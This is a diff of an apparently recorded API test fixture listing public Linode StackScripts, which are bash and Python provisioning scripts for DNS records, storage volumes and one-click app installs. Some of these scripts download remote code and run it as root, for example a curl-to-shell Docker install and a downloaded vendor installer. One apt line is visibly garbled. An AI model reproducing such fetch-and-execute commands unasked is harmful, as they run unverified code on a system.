''id'')\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"TXT\",\n \"name\": + \"''\"$domain\"''\",\n \"target\": \"v=spf1 a ~all\",\n \"priority\": + 50,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction + set_rdns {\n # Example: set_rdns $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n check_dns_propagation + \"$fqdn\" \"$ip_address\"\n\n printf \"Setting rDNS...\\n\"\n curl -H + \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" + \\\n -X PUT -d ''{\n \"rdns\": \"''\"$fqdn\"''\"\n }'' + https://api.linode.com/v4/networking/ips/$ip_address\n}\n\n\n## Update existing + DNS records\n\nfunction update_domain_property {\n # Example: update_domain_property + $DOMAIN $PROPERTIES_JSON\n\n local -r domain=\"$1\"\n local -r domain_id=\"$(get_domain_property + \"$domain\" ''id'')\"\n\n # Import the passed data into an associative array\n local + var=$(declare -p ${2})\n eval \"local -a properties_json=\"${var#*=}\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X PUT -d \"${properties_json}\" \\\n https://api.linode.com/v4/domains/$domain_id\n}\n\nfunction + update_a_record {\n # Example: update_a_record $SUBDOMAIN $IP_ADDRESS $DOMAIN\n \n local + -r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property + \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" + ''A'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: + Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"A\",\n \"name\": + \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\"\n }'' + https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\nfunction + update_aaaa_record {\n # Example: update_aaaa_record $SUBDOMAIN $IP6 $DOMAIN\n\n local + -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property + \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" + ''AAAA'')\n\n curl -H \"Content-Type: application/json\" \\\n -H + \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": + \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": + \"''\"$ip6_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\n\n## + Automate DNS record creation\n#\n# *** IMPORTANT ***\n#\n# To use this next + function, you''ll need to create an associative array outside of it to be passed + in\n# Here''s an example:\n#\n# declare -A dns_records=(\n# [soa_email_address]=\"$SOA_EMAIL_ADDRESS\"\n# [domain]=\"$DOMAIN\"\n# [subdomain]=\"www\"\n# [mx_record]=''Yes''\n# [spf_record]=''Yes''\n# + )\n#\n# set_dns \"dns_records\"\n\nfunction set_dns {\n # Import the passed + data into an associative array\n local var=$(declare -p ${1})\n eval \"local + -A records=\"${var#*=}\n\n # Create the domain, if specified, and get it''s + ID\n # Also, create the A record for the base domain\n if ! check_domain + \"${records[domain]}\"; then\n # Create the domain\n create_domain + \"${records[domain]}\" \"${records[email_address]}\"\n\n # Create the + base A record\n create_a_record \"\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n create_aaaa_record + \"\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # If + the A record doesn''t already exist, create it\n if ! check_record \"${records[domain]}\" + \"${records[subdomain]}\" ''A''; then\n create_a_record \"${records[subdomain]}\" + \"${records[ipv4_address]}\" \"${records[domain]}\"\n # Otherwise, update + it\n else\n update_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\" + \"${records[domain]}\"\n fi\n\n # If the AAAA record doesn''t exist, create + it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''AAAA''; + then\n create_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\" + \"${records[domain]}\"\n # Otherwise, update it\n else\n update_aaaa_record + \"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # + Create an MX record, if requested\n case \"${records[mx_record]}\" in\n ''Yes'')\n list_records + \"${records[domain]}\" | grep ''MX''\n [ $? -ne 0 ] && create_mx_record + \"${records[domain]}\"\n ;;\n esac\n\n # Create an SPF record, + if requested\n case \"${records[spf_record]}\" in\n ''Yes'')\n list_records + \"${records[domain]}\" | grep ''spf''\n [ $? -ne 0 ] && create_spf_record + \"${records[domain]}\"\n ;;\n esac\n}\n\n\n## Verify DNS records\n\nfunction + check_dns_propagation {\n # Example: check_dns_propagation $FQDN $IP\n\n local + -r fqdn=\"$1\" ip_address=\"$2\"\n\n # Check for ''dig'' and install ''dnsutils'' + if it''s not there\n if ! dig; then\n case \"${detected_distro[family]}\" + in\n ''debian'')\n system_install_package dnsutils\n ;;\n ''redhat'')\n system_install_package + bind-utils\n ;;\n esac\n fi\n\n # List of nameservers + to check\n # Specifically, Google''s and Linode''s\n local -a nameservers=(\n ''8.8.4.4''\n ''8.8.8.8''\n # ''162.159.27.72''\n # ''162.159.24.39''\n # ''162.159.25.129''\n # ''162.159.26.99''\n # ''162.159.24.25''\n )\n\n # + Check for the record in each of the nameservers\n # listed in ${nameservers[@]}\n for + i in ${nameservers[@]}; do\n local a=1\n printf \"Waiting for + propagation to %s\" $i\n while [ $a -gt 0 ]; do\n result=\"$(dig + @$i +short $fqdn)\"\n if [ \"$result\" == \"$ip_address\" ]; then\n ((a-=1))\n result=''''\n else\n printf + \".\"\n sleep 10\n fi\n done\n printf + \"done.\\n\"\n done\n\n printf \"\\n%s has finished propagating!\\n\" + $fqdn\n}\n\nfunction check_rdns_propagation {\n # Example check_rdns_propagation + $IP $DOMAIN\n\n local -r ip_address=\"$1\" domain=\"$2\"\n local a=1\n\n while + [ $a -ne 0 ]; do\n if [ \"$(dig +short -x \"$ip_address\" | grep \"$domain\")\" + ]; then\n a=0\n else\n printf \".\"\n sleep + 10\n fi\n done\n}\n\n\n\n##################################\n## Object + Storage Buckets\n##################################\n\n## Create Object Storage + Buckets\n\nfunction create_obj_bucket {\n local -r bucket_name=\"$1\" cluster=\"$2\" + acl=\"$3\" cors=\"$4\"\n\n curl -H \"Content-Type: application/json\" \\\n -H + \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\": + \"''\"$bucket_name\"''\",\n \"cluster\": \"''\"$cluster\"''\",\n \"cors_enabled\": + ''$cors'',\n \"acl\": \"''\"$acl\"''\"\n }'' https://api.linode.com/v4/object-storage/buckets/\n}\n\n\n\n##################################\n## + Block Storage Volumes\n##################################\n\n## List Block Storage + Volumes\n\nfunction list_volumes {\n # Example: list_volumes\n\n curl + -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/volumes + | jq -S\n}\n\nfunction get_volume_property {\n # Example: get_volume_property + \"$VOLUME_LABEL\" \"$PROPERTY\"\n\n local -r volume=\"$1\" property=\"$2\"\n local + -a volume_list=(\"$(list_volumes)\")\n local -r num_volumes=$(echo \"${volume_list[@]}\" + | jq ''.results'')\n\n for ((i=0; i<$num_volumes; i++)); do\n local + volume_name=$(echo \"${volume_list[@]}\" | jq .data[$i].label | sed ''s/\"//g'')\n case + \"$volume_name\" in\n \"$volume\")\n echo \"${volume_list[@]}\" + | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction + check_volume {\n # Example: check_volume \"$volume\"\n\n local -r volume=\"$1\"\n if + [ $(get_volume_property \"$volume\" ''label'') ];\n then return 0;\n else + return 1;\n fi\n}\n\n\n## Create Block Storage Volumes\n\nfunction create_volume + {\n # Example: create_volume \"$VOLUME_LABEL\" $VOLUME_SIZE $LINODE_ID (optional)\n # + If you don''t specify a Linode ID, it will default to the current Linode\n\n local + -r label=\"$1\" size=\"$2\" linode_id=\"${3:-$LINODE_ID}\"\n\n curl -H \"Content-Type: + application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" + \\\n -X POST -d ''{\n \"label\": \"''\"$label\"''\",\n \"size\": + ''$size'',\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes + | jq -S\n}\n\n\n## Attach/Detach/Mount Block Storage Volumes\n\nfunction attach_volume + {\n # Example: attach_volume \"$VOLUME_LABEL\" $LINODE_ID (optional)\n # + If you don''t specify a Linode ID, it will default to the current Linode\n\n local + -r volume_label=\"$1\" linode_id=\"${2:-$LINODE_ID}\"\n local -r volume_id=$(get_volume_property + \"$volume_label\" ''id'')\n\n curl -H \"Content-Type: application/json\" + \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST + -d ''{\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes/$volume_id/attach\n\n}\n\nfunction + detach_volume {\n # Example: detach_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X POST \\\n https://api.linode.com/v4/volumes/$volume_id/detach\n\n}\n\nfunction + mount_volume {\n # Example: mount_volume \"$VOLUME_LABEL\" ''/path/to/mount_point''\n\n local + -r volume_label=\"$1\" mount_point=\"$2\"\n local -r volume_path=\"$(\n get_volume_property + \"$volume_label\" ''filesystem_path'' | sed ''s/\"//g''\n )\"\n\n # Wait + for the volume to become available before proceeding\n local x=1\n while + [ $x -gt 0 ]; do\n [ -e $volume_path ] && ((x-=1))\n sleep 1\n done\n\n # + Create a filesystem on the volume\n mkfs.ext4 \"$volume_path\"\n\n # Create + \"$mount_point\" and mount the volume there\n mkdir -p \"$mount_point\"\n mount + \"$volume_path\" \"$mount_point\"\n\n # Automatically mount the volume at + boot\n echo \"$volume_path $mount_point ext4 defaults 0 2\" >> /etc/fstab\n}\n\n\nfunction + delete_volume {\n # Example: delete_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X DELETE \\\n https://api.linode.com/v4/volumes/$volume_id\n}", + "user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id": + "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description": + "Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images": + ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": + true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields": + []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", + "label": "Admidio powered by Webuzo", "description": "Admidio is a free online + membership management, optimized for clubs, groups and organizations. It consists + of classical management members from a variety of modules that can be installed + and adjusted to a new or existing website.\r\n\r\nRegistered users have your + website by Admidio including access to predefined and user-configurable membership + lists, people profiles and an Agenda. In addition, members may be pooled in + groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single + User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, + etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual + machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Admidio and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", @@ -2274,8 +2630,36 @@ interactions: \"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho \"You can now configure MeshCMS and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14362, "username": - "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193754, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "Illa Builder One-Click", "description": "Illa Builder One-Click App", "ordinal": + 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, + "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) + 2>&1\n\n# Apt update/upgrade\napt update\napt upgrade -y\n\n# Install the dependencies + & add Docker to the APT repository\napt install -y apt-transport-https ca-certificates + curl software-properties-common gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg + | apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu + focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# + Check to ensure Docker is running and installed correctly\nsystemctl status + docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# + Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod + 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". + and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder + \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e + PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE + \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho + \"\n********************************************************************************\nWelcome + to ILLA Builder!\n********************************************************************************\n # + Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # + Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", + "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": + "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres + Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 14362, "username": "ezan", + "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": @@ -2329,7 +2713,37 @@ interactions: \" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": - []}, {"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6", + []}, {"id": 1193755, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", + "label": "PHP", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", + "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "v1.0.1", "script": "#!/usr/bin/env + python\n\n\"\"\"\nPHP StackScript\n\t\n\tAuthor: Ricardo N Feliciano \n\tVersion: + 1.0.1.2\n\tRequirements:\n\t\t- ss://linode/python-library \n\nThis + StackScript both deploys as well as provides a library of functions for\nPHP. + The functions in this StackScript are designed to be run across the \nLinode + Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\nimport + os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts + before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport + pythonlib\n\n\ndef php_apache_mod_install():\n\t\"\"\"Install Apache httpd PHP + module.\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''php5'',\n\t\t''redhat'': + ''php''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']])\n\n\n#def + php_fpm_install():\n\n\ndef php_install():\n\t\"\"\"Install PHP.\n\t\n\tDefaults + to installing the mod_PHP implemention of PHP.\n\t\"\"\"\n\t# add logging support\n\n\tphp_apache_mod_install()\n\n\ndef + php_install_module(module, update_index=True):\n\t\"\"\"Install a PHP module.\"\"\"\n\n\tprefix + = {\n\t\t''debian'': ''php5-'',\n\t\t''redhat'': ''php-''\n\t}\n\n\tpythonlib.system_package_install(prefix[pythonlib.distro[''family'']] + + module, update_index)\n\n\ndef php_install_module_common():\n\t\"\"\"Install + most common PHP modules.\n\n\tInstall GD, mcrypt, pear, mysql, and the cli.\"\"\"\n\t\n\tphp_install_module(\"gd\")\n\t#php_install_module(\"mcrypt\", + False) #not in CentOS7 repos :(\n\t#php_install_module(\"pear\", False) # both + families use php-pear so\n\t#installing php5-pear in the Debian family will + fail\n\tphp_install_module(\"mysql\", False)\n\tphp_install_module(\"cli\", + False)\n\trestart()\n\n\ndef restart():\n\tif pythonlib.distro[''family''] == + \"debian\":\n\t\tsubprocess.call([''service'', ''apache2'', ''restart''])\n\telif + pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'', + ''restart'', ''httpd''])\n\n\ndef main():\n\t\"\"\"Install PHP.\"\"\"\n\t# add + logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\tphp_install()\n\n\tpythonlib.end()\n\n\nif + __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": []}, + {"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6", "label": "snapchat", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", @@ -2384,18 +2798,51 @@ interactions: can now configure DIY and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username": - "prod-test-012", "user_gravatar_id": "0bc9230feab431086807dec2d7b9e877", "label": + "prod-test-012", "user_gravatar_id": "9c7a651c63f3cefe52654946e9b46bd2", "label": "test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 14364, - "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", - "label": "configure-repo-sensu", "description": "", "ordinal": 0, "logo_url": - "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": + "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 1193756, + "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", + "label": "MagicSpam One-Click", "description": "MagicSpam One-Click", "ordinal": + 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nset - -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg | apt-key add -\necho - \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get + "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# + \n# + \n\n# source the stackscript + for the selected control panel\nif [ \"$CONTROL_PANEL\" == \"cPanel\" ]; then\n # + redirect ALL output to the stackscript log for future troubleshooting\n exec + > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n # cPanel Marketplace + App install\n source \n\n # set the hostname + to replicate Plesk stackscript for consistent behavior\n IPADDR=$(/sbin/ifconfig + eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n echo $HOSTNAME + > /etc/hostname\n hostname -F /etc/hostname\n echo $IPADDR $HOSTNAME >> + /etc/hosts\nelif [ \"$CONTROL_PANEL\" == \"Plesk\" ]; then\n # Plesk Marketplace + App install\n # NOTE: do not redirect output to the stackscript log to avoid + duplicate log\n # lines as the Plesk stackscript already redirects + to it\n source \nelse\n echo \"Invalid + control panel option detected. Aborting...\"\n exit 1\nfi\n\n# install MagicSpam + via the installer script\nwget https://www.magicspam.com/download/magicspam-installer.sh + -O /root/magicspam-installer\nchmod +x /root/magicspam-installer\n/root/magicspam-installer + -l \"$MS_LICENSE_KEY\"", "user_defined_fields": [{"name": "control_panel", "label": + "The Control Panel to deploy alongside with MagicSpam. Make sure to select an + Image supported by the selected Control Panel. For more information, please + refer to the MagicSpam App Information Sidebar.", "oneof": "cPanel,Plesk"}, + {"name": "ms_license_key", "label": "The MagicSpam license key. Please make + sure to use the appropriate license key for the selected Control Panel. For + more information, please refer to the MagicSpam App information sidebar."}, + {"name": "hostname", "label": "The server''s hostname."}]}, {"id": 14364, "username": + "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu", + "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], + "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": + false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": + "Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg + | apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2", @@ -2815,19 +3262,39 @@ interactions: \"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8996, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB - powered by Webuzo", "description": "MyBB is a free bulletin board system software - package developed by the MyBB Group. \r\n\r\nA lot of thought has gone into - the MyBB interface to make it easy to use. MyBB uses a standard discussion board - structure, so your visitors will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) - on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License - here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn - completion of the installation process, access http://your-ip:2004 to configure - MyBB and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193763, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "Superinsight One-Click", "description": "Superinsight One-Click app", "ordinal": + 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, + "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/bash\n\n## + REQUIRED IN EVERY MARKETPLACE SUBMISSION\n# Add Logging to /var/log/stackscript.log + for future troubleshooting\nexec 1> >(tee -a \"/var/log/stackscript.log\") 2>&1\n# + System Updates updates\napt-get -o Acquir1234::5678orceIPv4=true update -y\n## END + OF REQUIRED CODE FOR MARKETPLACE SUBMISSION\n\n# Install docker\ncurl -fsSL + get.docker.com | sudo sh\n\n# Creating Password\necho \"Superinsight setting + up password....\"\nADMIN_PASSWORD=$(openssl rand -hex 12)\nNODE_IP=$(hostname + -I | cut -f1 -d'' '')\necho \"Downloading and Installing Superinsight instance......\"\n\n# + Install Superinsight\ndocker run \\\n--detach \\\n--name superinsight-db-standalone + \\\n--restart always \\\n-p 5432:5432 \\\n-v vol-superinsight:/db \\\n-e SUPERINSIGHT_USER=admin + \\\n-e SUPERINSIGHT_PASSWORD=\"${ADMIN_PASSWORD}\" \\\nsuperinsight/superinsight-db-standalone:latest\n\n\n# + Print instructions\ncat << EOF > /etc/motd\n\n################################################################################################################################################\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSUPERINSIGHT\n################################################################################################################################################\n\nSuperinsight + created the user admin with password: ${ADMIN_PASSWORD}\nYou can can connect + using a database client with the following connection string postgres://admin:${ADMIN_PASSWORD}@${NODE_IP}:5432/superinsight\nFor + complete source code and information, visit: https://github.com/superinsight/superinsight-db\n\n################################################################################################################################################\nEOF", + "user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id": + "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description": + "MyBB is a free bulletin board system software package developed by the MyBB + Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it + easy to use. MyBB uses a standard discussion board structure, so your visitors + will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single + User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, + etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual + machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath + to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion + of the installation process, access http://your-ip:2004 to configure MyBB and + Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": + 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": @@ -3108,18 +3575,23 @@ interactions: "a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9003, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Oxwall - powered by Webuzo", "description": "Oxwall is unbelievably flexible and easy - to use PHP/MySQL community software platform.\r\n\r\nOxwall is used for a wide - range of projects starting from family sites and custom social networks to collaboration - tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo is a Single User - Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, - etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual - machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath - to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion - of the installation process, access http://your-ip:2004 to configure Oxwall - and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", + "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 1359658, "username": + "JubairHossin", "user_gravatar_id": "b8ac62ba3ef1b71bd87049378ee068dc", "label": + "Alpine OS", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.16", + "linode/alpine3.17", "linode/alpine3.18", "linode/alpine3.19"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": + []}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", + "label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably + flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall + is used for a wide range of projects starting from family sites and custom social + networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo + is a Single User Control Panel which helps users deploy Web Apps (WordPress, + Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) + on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License + here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn + completion of the installation process, access http://your-ip:2004 to configure + Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": @@ -3199,362 